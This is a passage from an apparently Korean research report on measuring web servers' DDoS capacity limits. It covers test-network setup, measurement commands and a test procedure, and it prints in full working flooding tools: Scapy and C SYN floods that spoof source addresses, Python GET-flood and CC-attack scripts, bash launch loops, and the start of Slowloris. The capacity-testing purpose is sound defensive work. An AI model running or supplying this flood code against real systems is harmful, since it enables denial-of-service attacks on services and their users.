96 # 여기선분기를태워 SCAPY 명령을실행함 clientsock.settimeout(10) if num == '1' : print 'One' elif num == '2' : print 'Two' elif num == '3' : print 'Three' elif num == '4' : print 'Four' elif num == '5' : print 'Five' else : print 'Incorrect number.' print 'End 2C...' clientsock.close() Server에서 condition객체를사용하여 ( 여기서는세개의클라이언트가접속했다고가정하고, thread를 3개생성 ) 접속한클라이언트만큼쓰레드를생성하여, 멀티쓰레드를실행한다. 그후모든클라이언트로서버가보낸다. 서버로부터명령을받은모든클라이언트는그명령에따라분기하여 SCAPY 명령을수행한다. 제 3 절출발지 IP 대량생성결과 DDoS공격에대한한계용량을측정하기위해서는다량의좀비 PC가필요하다. 다량의좀비PC를통해대역폭소진공격, 세션연결공격등을효과적으로측정할수있다. 이러한대량의 IP생성을통해측정된결과를현재네트워크시장에유통중인계측기를활용한측정값을비교하여 DDoS공격대상에대한정확한한계용량을측정을진행할수있다. 계측

97 기를이용한한계용량측정은네트워크장비가설계대로작동하는지, 필요한성능수준을제공하는지, 전체네트워크가필요한성능수준과최종사용자가기대하는서비스품질을모두제공하는지여부를알수있으며출발지 IP 대량생성결과를통한측정은실제대량의봇넷을이용한공격에대해대응체계의방어능력을측정할수있다. ( 그림 5-3) Scapy 를이용한네트워크패킷분석 ( 예 ) ( 그림 5-3) 은위조된 C 클래스를 CC-Attack의공격 IP로설정한예 (Scapy) 다. 지금까지의진행상황에서 C&C의명령채널구성및지정영역에대한출발지 IP 대량생성이가능한것을확인하였으나이러한구성이실재공격과동일한상황을만들기위해서는커널수준이아닌유저수준에서의패킷처리성능 (Performance) 에대한내용이검증되어야한다

98 제 6 장유형별한계용량측정방법론개발 제 1 절개요 계측기, IP대량생성방안연구결과를기반으로대역폭소진공격및세션연결형공격에대한부하를발생하여 DDoS 한계용량을한다. 계측기는대량의 Flooding 공격을발생시켜실제 N/W환경이시스템의한계대역폭을측정하며, IP 대량생성 PC는 Scapy를사용하여 IP를대량생성하고생성된대량의 IP로응용계층의자원소진정도와한계를측정할수있다. 또한대량의봇넷을구성할수있는 NetSpear( 계측기 ) 등은 IP 를대량으로생성하여대량의 PPS를유발하여 7.7 DDoS 사건과같은혼합공격에대한한계용량을측정할수있다. DDoS 공격에대한한계용량측정은도출된취약구간 (Failure Point) 에위치한통제장치의한계용량을측정하고한계용량에대한위협발생시이를가장효과적으로완화할수있는통제장치를선정한다. 공격형태에따른취약구간에위치한통제장치는 DDoS 공격시공격스트레스가집중되는구간으로해당장비의자원은타구간에위치한자원보다가장먼저소모되어정체서비스의가용성상실이발생한다. 웹서버의가용성정도의산출은웹서버의운영체제, 어플리케이션, 연 동어플리케이션, 혼합공격의정도에따라지표를산출한다. 웹서버의운영체제는운영체제내부 TCP backlog Table 메모리가용 량, 과다 TCP Stack 요청등으로발생하는 CPU, Memory, IO 부하및 TCP 최대연결수를지표로한다

99 웹서버의어플리케이션은웹서버의 HTTP 요청처리과정에서발생하는 CPU, Memory, IP부하를지표로한다. 이러한지표산정은연속검색어입력공격, 인증세션공격, 대용량파일요청공격등을측정하기위한방안이다. 연동어플리케이션의측정은웹서버이외의장비로클라이언트에서발생한 HTTP 요청을처리하기위해사용되는어플리케이션을말하며해당웹서버의 HTTP 요청처리과정에서연동어플리케이션이위치한장비에서발생하는 CPU, Memory, IO부하를지표로한다. 이러한측정은과부하 DB연산유발공격및대용량데이터연속요청공격등을측정하기위한방안이다. 혼합공격방어용량의산출은앞서정의된취약구간에발생하는공격을동종취약구간및이종취약구간공격으로분류하여복합공격을실시하여각조합에따른용량변화추이와단일공격의단순가산에서발생한용량변화의비교를통해혼합방어용량을산출한다. 제 2 절한계용량측정절차 DDoS 한계용량측정절차는한계용량측정시발생할수있는문제점을사전점검하고보다효율적이고체계적으로측정할수있도록도와준다. 특히, 시스템환경분석시연결포트가 10G포트또는 UTP케이블의연결구성가능여부를파악해야하며 ToA 대략적인가용성정도역시파악해야측정망구성에대한소요시간을최소화할수있다. 아래는한계용량측정에대한기본절차다. 1. 한계용량측정계획안마련

100 2. 측정계획안기반의시스템담당자와사전협의 3. 측정시고려사항도출하여측정시나리오를작성한다. 4. 시스템환경분석을통해시나리오적합성여부를분석하고수정한다. 5. 수정된시나리오를가지고시스템담당자및한계용량측정수행자가최종협의후측정계획서를작성한다. 6. 측정계획서기반으로시나리오별한계용량을측정한다. 7. 단게별결과및네트워크트레이스데이터를저장 / 분석한다. 8. 분석한트레이스데이터를기반으로결과보고서를작성한다. 9. 한계용량측정결과보고서의개선사항을시스템에적용한다. 제 3 절환경분석 원격지또는망절체를통한 DDoS 한계용량측정방법론을선택하기위해서는사전환경분석을하는것이바람직하다. 측정시나리오를사전협의하여정상서비스에피해가가지않는시간대를선택해야한다. DDoS 공격트래픽로드분석및기구축된시스템파악을통해발생할수있는문제점을최소화할수있다. 이는 DDoS 한계용량측정계획서및시나리오수립의기반이된다. 환경분석을위해체크해볼수있는주요항목은아래와같다. 1. 인터넷인입구간의환경 o 외부인터넷의내부망인입부분연결이 2개이상의 ISP 회선적용여부 ( 예 : 2개의다른 ISP 회선동시사용 ) o 2개이상의 ISP 회선존재시양구간의연결구성 ( 라우팅정책등 ) o 인터넷인입구간에서웹서버까지각각의용량 o 인터넷인입구간에및내부구간에 BGP 연동구간이존재여부 (AS

101 번호보유여부 ) o 연동구간존재시 Blackhole Filtering(null0 routing) 등악성트래픽대응정책 o 인터넷인입구간에서웹서버까지의 Bandwidth 할당및 QoS 정책 o QoS 정책이존재한다면, 적용된 Queuing 정책 (FIFO, WFQ, CWFQ, LLQ 등 ) 은프로토콜, 서비스별큐잉정책 o Traffic Shaping 혹은 Traffic Policing 정책 2. DDoS 공격이력 o 기존에 DDoS 공격이발생한이력여부 o DDoS 공격발생빈도 o DDoS 공격발생이력있다면피해정도 o DDoS 공격발생이력있다면공격형태및공격정도 3. DDoS 공격대응및모니터링 o DDoS 발생시상위 ISP와연락체계가구축여부 o DDoS 발생시동적 Bandwidth 확장계획 o DDoS 탐지를위한모니터링체계가구축여부 o DDoS 탐지를위한대응지표 4. 서비스가용성 o 서비스가용성위협에대한대응지표 o 서비스웹사이트일일평균방문자수및시간대별방문자현황 o 서비스웹사이트일일최대방문자수 o 최대방문자접속시가용성현황 ( 추가접속가능한사용자수, CPU, MEM, IO 현황 )

102 o 리버스프락시 (L7 가속기 ) 등웹부하분산장비가설치여부 5. 일반보안장비를이용한대응 o 라우터, 방화벽 IPS/IDS 등일반보안장비를이용한 DDoS 대응계획이존재 o urpf 필터가 ( 경계라우터 ) 적용된구간이존재여부 o 위조패킷방지필터가존재여부 6. 트래픽우회기능 o DNS A 레코드변경을통한트래픽우회기능을사용여부 o TTL 시간 CNAME 등의전환을위한프로세스가존재여부 o 해당기관의 DNS 서비스관리주체 ( 내부, 외부 ) 7. 웹서버수준의대응 o 웹서버구성내역 (JSP 엔진, 데이터베이스연결방법등 ) o 웹서버의로드분산방법 (LVM, L4 등 ) o 웹서버의초당최대연결수 (TCP MAX Connection) 설정값및초당평균, 최대연결수 ( 사이트단위시간당최대수용할수연결수등 ) 8. DDoS 대응정책 o N/W 이사트래픽징후발생시프로세스존재여부 o DDoS 공격발생시대응프로세스존재여부 o DDoS 공격에대한증거수집프로세스 o DDoS 공격발생시이에대응하기위한외부기관과의연락체계및

103 기술적업무연계 9. 기본환경구성 o 웹서버앞단에위치한방화벽의종류, 수량및제품명 o 방화벽의성능및구성방법 ( 최대동시처리세션수, PPS 등의성능지표, Active-Active, Active-Stanby, Full Mesh 등 ) o 내부망경계선 (Perimeter) 에위치한 DMZ 구간에위치한 IDS/IPS 의종류, 제품명 o 프로토콜, 서비스별네트워크사용량 (BBS, PPS, FPS) 등의정보 제 4 절한계용량측정방식 1. 망절체방식 망절체를통한 DDoS 모의공격은다단계방어정책기반의공격시나리오및대응시나리오에대해완벽한측정이가능하다. 대용량트래픽및대량의 IP를구성하여 DDoS 모의공격을통해한계용량측정이가능하다. 7.7 DDoS를완벽한재현이가능하며, A클래스네트워크사설망을구축하여대량의봇넷망을구축할수있다

104 ( 그림 6-1) 망절체식 DDoS 한계용량측정의구성예시 2. 망비절체방식 망절체를하지않은원격지진단으로연결성공격위주의모의공격수행이다. 모의공격망에구축한 TAP장비를통해네트워크트레이스정보를수집하여공격트래픽의연결성여부를진단할수있다. 망절체를하지않아공격망구축등에소요되는시간을절약할수있으며빠른결과도출이가능하다. 제 5 절한계용량의측정망의구성 1. TAP 장비의설치

105 TAP 장비는한계용량측정시패킷수집 PC 와연결하여네트워크트레 이스전수데이터수집에꼭필요한장비다. ( 그림 6-2) TAP 장비의구성 2. 네트워크트레이스데이터의저장 네트워크트레이스데이터는측정영역에따라데이터의크기와형태가다르게생성된다. 한계용량측정시생성된대용량 PCAP파일은파일 Split 작업및주요데이터의 Merge작업으로분석소요시간이추가로발생할수있다. 따라서 TCP 연결에대한측정데이터는전수데이터를저장하여분석하는것이바람직하지만일정한패턴으로대량의 BPS를유발시키는 UDP 플러딩등의대역폭소진공격은일부데이터를샘플링하

106 여저장하고분석하는것이바람직하다. 제 6 절한계용량측정항목 1. 한계용량측정동안항목 한계용량측정중트래픽현황과시스템자원사용율을파악하기위해 측정중측정항목을사전에정하고 DDoS 한계용량측정중트래픽현 황과시스템자원사용량을파악한다. 가. 세션연결수 (TCP Stack) o 측정도구 : netstat o 측정구간 : ToA(Target of attack : 웹서버 ), 공격 PC o 측정명령어 : $ netstat -ant grep 80 -v LISTEN wc -l 나. 세션연결수 (TCPStack) o 측정도구 : sar o 측정구간 : ToA(target of attack : 웹서버 ), 공격 PC o 측정명령어 : $ sar -u 1 (1 초마다해당상태를모니터에출력함 ) 다. Response Time ( 육안식별 ) o 측정도구 : wget

107 o 측정구간 : 정상사용자 PC o 측정명령어 : wget <ip address> sleep 1 (1 초단위로실행 ) 2. 한계용량측정후항목 가. 네트워크플로우데이터 o 측정도구 : Argus o 측정구간 : 공격망 TAP의패킷수집 PC o 명령어 : - 파일생성시 : argus -r <PCAP파일이름 > -w ( 생성할파일이름 ) - 분석명령어 : ra -Zb -nr < 파일이름 > o 도출항목 : BPS, PPS, FPS, RST 개수등 나. 트래픽수집 / 분석 o 측정도구 : tcpdump o 측정구간 : 공격망 TAP의패킷수집 PC o 명령어 : - 파일생성시 : tcpdump -nni <nic 인터페이스명 > -s 0 -w < 파일이름 > - 분석명령어 : tcpdump -nnr <PCAP파일이름 > 다. 그밖에도출항목 o 측정도구 : TShark, Argus o 측정항목 : TCP RTT, TCP Rate, HTTP Rate 등

108 제 7 절측정결과값도출및개선방안적용 결과값도출은기본적으로각단계별시스템에서도출된결과를가지고판단할수있지만보다정확하고유연한결과도출을위해 TAP을통해 Probe장비에저장된 PCAP파일을분석하여한계용량을도출한다. PCAP 파일을통한연결정보도출은 Argus를이용하여도출할수있으며 DDoS 사이버대피소에서발생하는대용량 PCAP 파일같은경우분석하기쉽게 Split 하여 TShark를이용하여분석한다. TCP Syn, Syn/Ack, Get Request, RST, Fin에해당하는 Flag 별초당패킷수및바이트를도출후 TCP RTT, TCP Rate, HTTP Rate 등의결과값을생성한다. TCP Rate와 HTTP Rate의비율은해당공격이어느 Layer에서한계용량이발생하는지판단할수있는기준이된다. ( 그림 6-3) 한계용량측정결과값도출예

109 제 7 장유형별한계용량측정시험 제 1 절개요 DDoS 공격유형별한계용량측정시험은시나리오및항목을작성후 진행되며작성항목은한계용량측정방법론개발에서도출결과를기반으 로진행된다. 측정시험망은 TAP장비를인라인으로설치하고패킷수집 PC를설치하여 DDoS 한계용량측정시험패킷을수집하고분석한다. 패킷수집 PC 로부터수집된네트워크트레이서파일 (PCAP파일) 을분석하여 ToA 한계용량발생시공격트래픽 BPS, PPS, FPS 등을측정한다. 전송구간의간섭을최소화하기위해서 UTP케이블은 CAT6를사용하여케이블에서발생할수있는유실을최소화한다. 측정시작전 DDoS 공격 PC와 ToA, 정상PC, 패킷수집 PC간의시간동기화는 DDoS 한계용량측정의필수요건이다. ( 그림 7-1) DDoS 한계용량측정시험목표구성도

110 제 2 절한계용량측정시험시스템별역할 1. DDoS 공격 PC DDoS 공격 PC 는 IP 를대량으로생성하여 DDoS 공격트래픽을발생 시킨다. 생성된 DDoS 공격트래픽은 L2 스위치 TAP 장비를거쳐 ToA ( 웹서버 ) 의 DDoS 공격에대한한계용량을측정할수있도록한다. 2. 정상 PC 정상 PC 는 DDoS 공격 PC 가공격트래픽을발생시켜 ToA 공격시 Wget 명령어를통해정상사용자가 ToA 에접속가능여부를판단할수 있도록한다. 3. TAP 장비 TAP 장비는 DDoS 공격트래픽과정상 PC 에서 ToA 로전송되는모 든네트워크트레이스데이터를패킷수집 PC 로미러링하는역할을한다. 전송된트레이스데이터는한계용량측정분석시활용된다. 4. 패킷수집 PC 한계용량측정증거수집및결과를 TAP 장비를통해수집한다. 네트 워크트레이서데이터와정상 PC 에서수집되는홈페이지세션연결수 등을도출할수있도록한다. 5. ToA (Target of Attack: 웹서버 )

111 ToA는 Target of Attack으로 DDoS 공격의대상이되는웹서버를칭하며, 리눅스 (OS) 환경에서아파치서버를구축하여실제웹서버역할을할수있도록한다. DDoS 공격PC가공격트래픽발생시한계용량이얼마나되는지측정한다. 제 3 절한계용량측정시험을위한시스템설정 1. DDoS 공격 PC OS 환경은리눅스우분투를사용하며파이썬기반의공격소스를이 용하여 DDoS 공격트래픽을발생시킬수있도록설정한다. 또한원격 조정을위해 SSH 를설치한다. [ 표 7-1] SSH 설치 1. $ps ax grep sshd(ssh 설정유무 ) 2. $sudo apt-get install ssh(ssh 설치 ) 3. $sudo /etc/init.d/ssh (restart or start) (ssh 서비스실행 ) 가. IP 설정 DDoS 공격 PC 3 대의 $etc/network/interface 파일을아래표와같이 설정한다. auto lo iface lo inet loopback [ 표 7-2] IP 설정

112 auto eth0 iface eth0 inet static address xxx netmask gateway 게이트웨이주소 auto eth1 iface eth1 inet static address xxx netmask 나. Routing Table 설정 [ 표 7-3] 라우팅테이블 1. route add(del) 명령이용 2. MASQUERADE 설정 $ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 3. 랜카드포워딩설정 $ sysctl -w net.ipv4.ip_forward=1 혹은 $ echo "1" > /proc/sys/net/ipv4/ip_forward 4. 시간동기화 2. 정상 PC 정상 PC 의기본설정은공격 PC 와같으며리눅스우분투뿐만아니

113 라 Windows XP 를추가로설치하여윈도우즈환경에서공격수행시 Explorer 를실행하여접속가능여부를측정한다. 3. 패킷수집 PC 패킷수집장비와설정도공격PC와같은리눅스환경에서 atp-get 명령어를이용하여 tcpdump를설치하고측정시 tcpdump -nni <eth0 또는 eht1> -s w <PCAP파일이름 > 명령어를이용하여네트워크트레이스데이터를저장한다. 4. ToA (Target of Attack: 웹서버 ) 패킷수집장비와설정역시공격PC와같은리눅스환경에서 atp-get 명령어를이용하고추가로 LAMP (Linux, Apach, My-SQL PHP) 환경을구성한다. 구성한 ToA 환경은 sar 명령어 ($ sudo sar -u 1) 를이용하여시스템자원의한계용량을측정한다. [ 표 7-4] Sar 설치및사용 1. 측정문법 sar [ -abcdgkmpqruvwxyadsc] [-o file] t [n] sar [ -abcdgkmpqruvwxyadsc] [ -s time] [-e time] [ -i sec] [-f file] 2. 옵션 -.u : CPU Data -.b : Buffer 정보 -.d : Disk or Tape 정보 -.y : TTY 정보 -.c : System Call 정보 -.s : System Swapping or Switching 정보 -.q : Queue Length 정보 -.v : Text, Process, Inode, File table 정보

114 -.m : Message and Semaphore 정보 -.A : 모든 Data(udqbwcayvm) -.M : 각 Processor 별 sar 정보 2. 네트워크통계관련사용예시 sar -n DEV EDEV SOCK FULL : 네트워크통계를출력 * DEV : Network Device 의결과로부터의통계 - IFACE : Network Interface 이름 - rxpck/s : 초당받은패킷수 - txpck/s : 초당전송한패킷수 - rxbyt/s : 초당받은 bytes - txbyt/s : 초당전송한 bytes - rxcmp/s : 압축된패킷을초당받은수 - txcmp/s : 압축된패킷을초당전송한수 - rxmcst/s : 초당받은다중패킷수 * EDEV : Network Device 의에러통계 - IFACE : Network Interface 이름 - rxerr/s : 초당불량패킷을받은수 - txerr/s : 패킷전송중초당발생한에러수 - coll/s : 패킷전송중초당발생한충돌수 - rxdrop/s : 리눅스 buffer 의부족으로패킷을받는도중초당 drop 된패킷수 - txdrop/s : 리눅스 buffer 의부족으로전송중초당 drop 된패킷수 - txcarr/s : 패킷전송도중초당발생한 carrier-error 수 - rxfram/s : 패킷을받는도중초당발생한 frame alignment 에러수 - rxfifo/s : 패킷을받는도중초당발생한 FIFO overrun 에러수 - txfifo/s : 전송된패킷중초당발생한 FIFO overrun 에러수 * SOCK : Socket 의통계 - totsck : 총사용된 socket 수

115 - tcpsck : 현재사용중인 TCP sockets 수 - udpsck : 현재사용중이 UDP sockets 수 - rawsck : 현재사용중인 RAW sockets 수 - ip-frag : 현재사용중인 IP fragments 수 * SOCK : Socket 의통계 - totsck : 총사용된 socket 수 - tcpsck : 현재사용중인 TCP sockets 수 - udpsck : 현재사용중이 UDP sockets 수 - rawsck : 현재사용중인 RAW sockets 수 - ip-frag : 현재사용중인 IP fragments 수 [ 표 7-5] Apache, My-SQL, PHP 의설치 # Apache, My-Sql, PHP 설치 1. 아파치설치 $ sudo apt-get install apache2 libapache2-mod-auth-mysql(mysql인증모듈 ) 2. My-Sql 설치 $ sudo apt-get install mysql-server mysql-client 3. PHP 설치 $ sudo apt-get install php5-common php5 libapache2-mod-php5 php5-mysql(mysql 연동모듈 ) # 동작확인 $ sudo netstat -a grep mysql $ sudo mysql -uroot -p < 비번 > $ /var/www/test.php ' <? phpinfo();?> 페이지확인

116 제 4 절한계용량측정시험 N/W 망구성 DDoS 한계용량측정을하기위한 N/W 구성망은아래구성도와같이 2개의 Gigabit이지원되는 NIC을포함하고있는 5대의 DDoS 공격 PC, L2 Switch, Tap, N/W Trace 데이터수집 PC, ToA를위한 PC 1대로구성하였다. ( 그림 7-2) DDoS 한계용량측정시험 N/W 구성도 1. ToA 가내부망에존재할경우의한계용량측정

117 ( 그림 7-3) DDoS 한계용량내부 ToA 측정시험 한계용량측정은외부네트워크환경에의해변화를고려한외부네트워크망에 ToA를설치하여시험한한계용량외부 ToA 측정과한계용량측정과외부네트워크환경의영향이없는내부 ToA의측정으로나누어측정하였다. 2. ToA 가외부망에존재할경우의한계용량측정 ( 그림 7-4) DDoS 한계용량외부 ToA 측정시

118 외부 ToA 의경우 ( 그림 7-5) 와같이공유기를사용하여 N/W 망을구 성하였다. ( 그림 7-5) DDoS 한계용량외부 ToA 측정시 2 제 5 절한계용량측정시험사전준비사항 1. 공격소스코드 대부분의연결성공격 (Get Flooding, CC-Attack) 소스는 Scapy 적용하 여파이썬으로코딩한소스를사용하였으며 Syn Flooding 은 C 언어가사 용된오픈소스를사용하였으며 Slowloris 공격은인터넷상에서상용되는

119 perl 스크립트를이용하여측정하였다. 가. Syn Flooding Syn Flooding 은 C 언어와파이썬언어를사용한 2 가지소스를이용하여 코딩한툴을사용하였다. [ 표 7-6] Syn Flooding 파이썬소스 #!/usr/bin/python from scapy.all import * from random import * oct_1=str(randrange(1,254)) oct_2=str(randrange(1,254)) oct_3=str(randrange(1,254)) oct_4=str(randrange(1,254)) spoofed_ip=oct_1 + "." + oct_2 + "." + oct_3 + "." + oct_4 spoofed_port=randrange(1024,65535) dup_syn=ip(src=spoofed_ip, dst=' ')/tcp(sport=spoofed_port, dport=80, seq= )/"secubase ROCKS" send(dup_syn) send(dup_syn) #include </usr/include/sys/socket.h> #include </usr/include/netinet/in.h> #include </usr/include/netinet/ip.h> #include </usr/include/netinet/tcp.h> #include </usr/include/stdio.h> #include </usr/include/string.h> [ 표 7-7] Syn Flooding C 언어소스

120 #include </usr/include/stdlib.h> // // Define PSEUDO.H // struct pseudohdr { unsigned long saddr; unsigned long daddr; char dummy; unsigned char protocol; unsigned short length; }; // // Prototype of Checksum() // unsigned short in_cksum( unsigned short *addr, int len ); // int main( int argc, char *argv[] ) { int sock; int on=1; int local_size; int ret; // char *packet = (char*) malloc( sizeof(struct iphdr) + sizeof(struct tcphdr) \ + sizeof(struct pseudohdr) ); char *recv_packet = (char*) malloc( sizeof(struct iphdr) + sizeof(struct tcphdr) ); // // char A_len=4; char B_len; char C_len;

121 char D_len; char Block_A[5]={"192"}; char Block_B[5]; char Block_C[5]; char Block_D[5]; int w,x,y; char SpoofIP[16]; char D_IP[16]; // Spoofed IP Address // Target Host > argv[1] unsigned short S_PORT=65535; // Random unsigned short D_PORT; // Target Service > argv[2] int SHOT_DELAY=0; // Control SHOT Speed! > argv[3] // struct iphdr *iphdr = (struct iphdr *) (packet); struct tcphdr *tcphdr = (struct tcphdr *) (packet + sizeof(struct iphdr)); struct pseudohdr *pseudo_hdr = (struct pseudohdr *) (packet \ + sizeof(struct iphdr) + sizeof(struct tcphdr) ); struct iphdr *iphdr2; struct tcphdr *tcphdr2; struct sockaddr_in remote; struct sockaddr_in local; // // Parse Options // if( argc < 4 ) { system("/usr/bin/clear"); printf("\n\n\n \t\t\t Please More Options! \n\n\n"); printf("\n\n \t synflood [ Block_A ] [ Target-Host ] [ Target-service ] [SHOT Speed] \n\n\n");

122 exit(-1); } else { strcpy( Block_A, argv[1] ); strcpy( D_IP, argv[2] ); D_PORT =(unsigned short) atoi(argv[3]); SHOT_DELAY = atoi(argv[4]); printf("set Block_A [%s] \n", Block_A ); printf("target Machine [ %s ] \n", D_IP ); printf("target Service [ %d ] \n", D_PORT ); printf("shot Speed [ %d ] \n", SHOT_DELAY ); } // // Init PACKET // memset( packet, 0, sizeof(struct iphdr) + sizeof(struct tcphdr) ); memset( recv_packet, 0, sizeof(struct iphdr) + sizeof(struct tcphdr)); // // Init Blocks // memset( SpoofIP,0, sizeof(spoofip) ); memset( Block_B,0, sizeof(block_b) ); memset( Block_C,0, sizeof(block_b) ); memset( Block_D,0, sizeof(block_b) ); // // SOCKET() / SETSOCKOPT() // sock = socket( PF_INET, SOCK_RAW, IPPROTO_TCP); if( sock < 0 ) { printf("[ Socket() error! ] \n\n"); exit(1); } ret = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(int) ); if( ret < 0 ) { printf("[ setsockopt() error! ] \n\n"); exit(1); }

123 // LOOP while(1) { memset( SpoofIP,0, sizeof(spoofip) ); memset( Block_B,0, sizeof(block_b) ); memset( Block_C,0, sizeof(block_b) ); memset( Block_D,0, sizeof(block_b) ); strcat( SpoofIP, Block_A ); A_len = strlen( SpoofIP ); // B LOOP for( w=1; w<=254; w++) { sprintf( Block_B, ".%d.", w ); memcpy( (SpoofIP + A_len), Block_B, 5 ); B_len = strlen( SpoofIP ); // C LOOP for( x=1; x<=254; x++) { sprintf( Block_C, "%d.", x ); memcpy( (SpoofIP + B_len), Block_C, 5 ); C_len = strlen( SpoofIP ); usleep(shot_delay); // D LOOP for( y=1; y<=254; y++ ) { sprintf( Block_D, "%d", y ); memcpy( ( SpoofIP + C_len ), Block_D, 5 ); //printf("[ %s ] \n", SpoofIP ); // Start of S_PORT LOOP // for( S_PORT=1; S_PORT<=65535; S_PORT++) // { // // IP.H //

124 tcphdr)); iphdr,\ iphdr->ihl = 5; iphdr->version = 4; iphdr->tos = 0; iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct iphdr->frag_off = 0; iphdr->ttl = 255; iphdr->protocol = IPPROTO_TCP; iphdr->saddr = inet_addr(spoofip); iphdr->daddr = inet_addr(d_ip); iphdr->check = 0; iphdr->check = (unsigned short) in_cksum ( (unsigned short *) sizeof(struct iphdr) ); // // TCP.H // pseudo header pseudo_hdr->saddr = inet_addr(spoofip); pseudo_hdr->daddr = inet_addr(d_ip); pseudo_hdr->dummy = 0; pseudo_hdr->protocol = IPPROTO_TCP; pseudo_hdr->length = htons(sizeof(struct tcphdr)); // real header tcphdr->source = htons(s_port); tcphdr->dest = htons(d_port); tcphdr->seq = htonl(1005); tcphdr->ack_seq= htonl(0); tcphdr->doff = 5; tcphdr->fin = 0; tcphdr->syn = 1; tcphdr->rst = 0; tcphdr->psh = 0; tcphdr->ack = 0; tcphdr->urg = 0; tcphdr->window = htons(1024); tcphdr->check=0; tcphdr->check = (unsigned short) in_cksum ( (unsigned short *) tcphdr, \ sizeof(struct tcphdr) + sizeof(struct pseudohdr) );

125 // // REMOTE.H // remote.sin_family = PF_INET; remote.sin_addr.s_addr = inet_addr(d_ip); remote.sin_port = htons(d_port); // // SENDTO() // sendto(sock,packet, sizeof(struct iphdr) + sizeof(struct tcphdr), 0, \ (struct sockaddr *) &remote, sizeof(remote) ); // }// End of S_PORT Loop }// End of D Loop }// End of C Loop }// End of B Loop } // LOOP } close(sock); // // Checksum() // unsigned short in_cksum( unsigned short *addr, int len ) { register int sum = 0; unsigned short answer = 0; register unsigned short *w = addr; register int nleft = len; while (nleft > 1) {

126 sum += *w++; nleft -= 2; } } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); 나. Get Flooding Get Flooding 공격소스는파이썬언어를사용하여코딩하였으며 Shell 스크립트로공격의강도나시간및타겟등을코딩하였다. [ 표 7-8] Get Flooding 파이썬소스 #!/usr/bin/python # #Author : Hyukjoon Kim #Date : #Version: v2.0 #Description: This Python Script make use of Scapy to perform Regular GET Attack # from scapy.all import * from random import * ISN=randrange(0, )

127 sp=randrange(1024, 65535) ip=ip(src=" ", dst="ooo.ooo.ooo.ooo") TCP_SYN=TCP(sport=sp, dport=80, flags="s", seq=isn) TCP_SYNACK=sr1(ip/TCP_SYN) my_ack = TCP_SYNACK.seq + 1 TCP_ACK=TCP(sport=sp, dport=80, flags="a", seq=(isn+1), ack=my_ack) send(ip/tcp_ack) get_flood="get / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*\r\naccept-language: ko\r\nua-cpu: x86\r\naccept-encoding: gzip, deflate\r\nuser-agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6;.NET CLR ;.NET CLR ;.NET CLR )\r\nHost: Keep-Alive\r\n\r\n" TCP_PUSH=TCP(sport=sp, dport=80, flags="pa", seq=(isn+2), ack=my_ack) send(ip/tcp_push/get_flood) #!/bin/bash [ 표 7-9] Get Flooding 쉘코드 for ((i=0; i<10000; i++)) do PAUSE=$(echo $i awk '{if($1%100 == 0){print $1}}') if [ $PAUSE ] then printf "%s th instance is now running and I am taking break for 5sec \r" $i sleep 5 else sudo python get_flood_euijin.py test.co.kr.test.co.kr > /dev/null 2>&1 & printf "%s th instance is now running\r" $i

128 fi done 다. CC-Attack CC-Attack 은 Get Flooding 과같이파이썬소스와 Shell 코드를사용하 였으며소스코드내용은아래표와같다. [ 표 7-10] CC-Attack 파이썬소스 #!/usr/bin/python ##Author : Hyukjoon Kim #Date : #Version: v2.0 #Description: This Python Script make use of Scapy to perform Regular GET Attack #from scapy.all import * from random import * ISN=randrange(0, ) sp=randrange(1024, 65535) ip=ip(src=" ", dst=" ") TCP_SYN=TCP(sport=sp, dport=80, flags="s", seq=isn) TCP_SYNACK=sr1(ip/TCP_SYN) my_ack = TCP_SYNACK.seq + 1 TCP_ACK=TCP(sport=sp, dport=80, flags="a", seq=(isn+1), ack=my_ack) send(ip/tcp_ack) cc_attack="get / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint,\r\napplication/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*\r\naccept-language: ko\r\nua-cpu: x86\r\naccept-encoding: gzip,

129 deflate\r\nuser-agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6;.NET CLR ;.NET CLR ;.NET CLR )\r\nCache-Control: no-store, must-revalidate\r\nhost: Keep-Alive\r\n\r\n" get_flood="get / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*\r\naccept-language: ko\r\nua-cpu: x86\r\naccept-encoding: gzip, deflate\r\nuser-agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6;.NET CLR ;.NET CLR ;.NET CLR )\r\nHost: Keep-Alive\r\n\r\n" TCP_PUSH=TCP(sport=sp, dport=80, flags="pa", seq=(isn+2), ack=my_ack) send(ip/tcp_push/cc_attack) #!/bin/bash [ 표 7-11] CC-Attack 쉘코드 for ((i=0; i<10000; i++)) do PAUSE=$(echo $i awk '{if($1%100 == 0){print $1}}') if [ $PAUSE ] then printf "%s th instance is now running and I am taking break for 5sec \r" $i sleep 5 else sudo python cc_attack_euijin.py > /dev/null 2>&1 & printf "%s th instance is now running\r" $i fi done

130 라. Slowloris Slowloris는인터넷상에유포되어있는 perl 스크립트로코딩되어진 slowloris.pl파일을사용하여측정하였다. [ 표 7-12] slowloris.pl 코드 출처 : #!/usr/bin/perl -w use strict; use IO::Socket::INET; #use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; [1m ooooccooo cocooc: ::ccoocoo8o888888cooo OOCooCocc:::coCOOO888888OOCC

